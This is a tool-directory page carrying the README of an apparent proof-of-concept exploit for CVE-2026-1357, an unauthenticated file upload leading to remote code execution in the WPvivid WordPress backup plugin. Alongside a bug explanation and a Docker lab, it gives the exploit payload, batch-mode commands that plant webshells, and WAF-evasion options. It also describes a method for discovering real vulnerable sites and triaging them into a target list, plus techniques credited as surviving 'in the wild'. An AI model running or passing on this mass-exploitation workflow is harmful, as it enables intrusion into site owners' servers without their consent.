Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-1357 — Proof-of-concept exploit for CVE-2026-1357, an unauthenticated arbitrary file upload in WPvivid Backup & Migration leading to remote code execution. Includes a standalone Python script, WAF evasion techniques, and a Dockerized vulnerable lab for authorize | Kitploit
Tools/GitHubGitHub/sahmsec/cve-2026-1357
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationRed Teaming
GitHubsahmsec/cve-2026-1357

CVE-2026-1357

Proof-of-concept exploit for CVE-2026-1357, an unauthenticated arbitrary file upload in WPvivid Backup & Migration leading to remote code execution. Includes a standalone Python script, WAF evasion techniques, and a Dockerized vulnerable lab for authorize

View Repository
9h 7m agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-1357 — WPvivid Backup & Migration ≤ 0.9.123 Unauthenticated Arbitrary File Upload → RCE

PoC for CVE-2026-1357 (CVSS 9.8 Critical, CWE-434): an unauthenticated arbitrary file upload in the WPvivid Backup & Migration plugin for WordPress that leads to remote code execution. Fixed in 0.9.124 (changeset 3448386). Reported by Lucas Montes via the Wordfence Bug Bounty program.

root@kitploit:~
  ███████╗  █████╗  ██╗  ██╗ ███╗   ███╗ ███████╗ ███████╗  ██████╗
  ██╔════╝ ██╔══██╗ ██║  ██║ ████╗ ████║ ██╔════╝ ██╔════╝ ██╔════╝
  ███████╗ ███████║ ███████║ ██╔████╔██║ ███████╗ █████╗   ██║
  ╚════██║ ██╔══██║ ██╔══██║ ██║╚██╔╝██║ ╚════██║ ██╔══╝   ██║
  ███████║ ██║  ██║ ██║  ██║ ██║ ╚═╝ ██║ ███████║ ███████╗ ╚██████╗
  ╚══════╝ ╚═╝  ╚═╝ ╚═╝  ╚═╝ ╚═╝     ╚═╝ ╚══════╝ ╚══════╝  ╚═════╝

⚠️ Legal disclaimer

This proof of concept is provided for authorized security research, education, and defensive testing only.

  • You must own the target system or have explicit written permission from the system owner before running this tool against it.
  • Unauthorized access to computer systems is illegal in most jurisdictions (e.g., the Computer Fraud and Abuse Act in the US, the Computer Misuse Act in the UK, and similar laws worldwide) and may carry criminal and civil penalties.
  • The authors and contributors assume no liability for any misuse, damage, or legal consequences arising from the use of this code.
  • By using this software you agree to use it responsibly and in compliance with all applicable laws.
  • What the vulnerability is

    The unauthenticated send_to_site handler (includes/customclass/class-wpvivid-send-to-site.php) decrypts an attacker-supplied blob and writes the contents of $params['data'] to wp-content/wpvividbackups/<attacker-controlled name> — with no authentication, no nonce, and no path sanitization on name.

    The intended protection is RSA: the message must be encrypted with a random session key, which itself is RSA-encrypted with the site's key. The flaw is in WPvivid_crypt::decrypt_message (includes/class-wpvivid-crypt.php):

    root@kitploit:~
    $key = $rsa->decrypt($key);          // returns FALSE on failure (bad key blob)
    $rij = new Crypt_Rijndael();
    $rij->setKey($key);                  // FALSE is treated as a null-byte key
    return $rij->decrypt($data);
    

    phpseclib's Crypt_RSA::decrypt() returns false when the supplied key blob cannot be decrypted (e.g. openssl_private_decrypt() fails), and the plugin does not abort. false is then passed to Crypt_Rijndael::setKey(), where strlen(false) → 0 → the key is padded to 16 null bytes (AES-128, CBC mode, null IV). An attacker therefore "encrypts" the payload with a fully predictable null key — no knowledge of the real site key is required.

    The payload is JSON:

    root@kitploit:~
    {"backup_id":"poc","name":"../../pocXXXXXXXX.php","offset":0,
     "file_size":<len>,"md5":"<md5>","data":"<base64 of PHP>"}
    

    name is concatenated into the path without sanitization (str_replace('wpvivid','wpvivid_temp', $name) only rewrites the "wpvivid" substring), so ../../ escapes wp-content/wpvividbackups/ into the webroot. When file_size/md5 match, the temp file is renamed to the attacker-chosen name → publicly accessible PHP → RCE.

    The fix (changeset 3448386) aborts when the RSA step fails:

    root@kitploit:~
    if ($key === false || empty($key)) {
        return false;
    }
    

    Requirements

    Target:

    • WPvivid Backup & Migration ≤ 0.9.123
    • The wpvivid_api_token option must exist and not be expired — created whenever an admin clicks Generate under WPvivid → Settings → Auto Migration (common on sites that use the migration feature)
    • PHP file execution in the webroot (default on most hosting)

    Attacker:

    • Python 3 (standard library only)

    Usage

    script.py is fully standalone: standard library only, no local imports, no external files. Simple positional CLI:

    root@kitploit:~
    # single target
    python script.py https://target.example.com
    
    # custom command
    python script.py https://target.example.com --command "uname -a"
    
    # batch mode (one URL per line) -> success.txt / failed.txt
    python script.py sites.txt --threads 10
    
    # WAF evasion: percent-encoded param names/values or multipart body
    python script.py https://target.example.com --encode
    python script.py https://target.example.com --multipart
    
    # self-delete the webshell after the test
    python script.py https://target.example.com --cleanup
    

    Exit codes: 0 vulnerable, 1 otherwise.

    Lab

    ../lab/ contains a dockerized vulnerable target (WordPress 6.8 + WPvivid 0.9.123 source from plugins/):

    root@kitploit:~
    cd ../lab
    docker compose up -d
    # complete the WordPress install at http://localhost:8090/
    docker compose run --rm wpcli plugin activate wpvivid-backuprestore
    docker compose cp ../CVE-2026-1357-poc/setup_token.php wp:/tmp/
    docker compose exec wp php -r 'require "/var/www/html/wp-load.php"; include "/tmp/setup_token.php";'
    
    cd ../CVE-2026-1357-poc
    python script.py http://localhost:8090 --command id
    

    Target discovery

    Verified working source (tested live, no account needed):

    • urlscan.io — open this in a browser: https://urlscan.io/search/#filename:wpvivid-backuprestore ~74 indexed pages referencing the plugin slug; click through and collect the hostnames. Every result URL starts with the plugin path (/wp-content/plugins/wpvivid-backuprestore/), so host extraction is easy.

    Queries that were tested and do NOT yield targets (excluded on purpose): Google/Bing dorks (inurl: returns only the plugin's own wordpress.org pages or a bot wall), DuckDuckGo (same), Shodan http.html: (indexes truncated HTML, zero hits), Wayback CDX wildcard (empty), PublicWWW (guest-scraping blocked).

    Feed the collected hosts to triage (built into script.py as --triage), which checks for each site:

    1. Version — wp-content/plugins/wpvivid-backuprestore/readme.txt → Stable tag: 0.9.123 (unauth low-noise check; ?ver= asset query strings in the HTML are the fallback)
    2. Token — garbage POST wpvivid_action=send_to_site&wpvivid_content=AAAA: JSON response (The key is invalid.) = wpvivid_api_token exists; empty = no token / plugin inactive / WAF dropped the probe

    Only sites that are <= 0.9.123 and token-live are written to in-scope.txt, then:

    root@kitploit:~
    python script.py sites.txt --triage --threads 10   # → in-scope.txt
    python script.py in-scope.txt --threads 5
    

    Network survival

    Techniques ported from a long-lived 2025 uploader that kept working in the wild (same author):

    • AJAX disguise on the upload POST: X-Requested-With: XMLHttpRequest, Accept: application/json, */*;q=0.1, same-origin Referer, browser UA
    • Follow-up shell GETs carry a same-origin Referer
    • Threaded batch mode (--threads N) with short per-request timeouts
    • success.txt / failed.txt written in batch mode, only verified shells recorded as success (like the original's success file)
    • Randomized 12-hex filenames and per-upload shell parameter names
    • --encode / --multipart for request-shape evasion

    Verified against a live mod_security (OWASP CRS paranoia 1) lab

    ../lab/waf/ adds a owasp/modsecurity-crs:apache reverse proxy in front of the vulnerable WordPress (WAF on :8092, raw target on :8093). Measured behavior:

    StepResult through CRS
    Upload POST (plain)passes — AES blob + AJAX headers match no CRS rule
    Upload POST (--encode)passes
    Upload POST (--multipart)passes
    Shell GET ?<p>=id / hostname / lspasses, command executes
    Shell GET ?<p>=id; hostname; uname -a403 — CRS 932xxx command-injection rules
    Plain GET (PWN-OK marker)passes

    The encrypted upload is invisible to CRS content inspection (same survival property as the 2025 uploader's whitelisted-looking AJAX). The only CRS surface is the follow-up command GET, so the tool now defaults to --command id and confirms RCE via the plain-GET PWN-OK marker even when the command GET is WAF-filtered (reported as vulnerable with a note). On-host WAFs that signature wpvivid_action=send_to_site (e.g. Wordfence virtual patch) still block the upload itself at the plugin level — no request-shape trick gets past those.

    References

    • https://www.wordfence.com/threat-intel/vulnerabilities/id/e5af0317-ef46-4744-9752-74ce228b5f37
    • https://plugins.trac.wordpress.org/changeset/3448386/wpvivid-backuprestore
    • https://nvd.nist.gov/vuln/detail/CVE-2026-1357
    Download Tool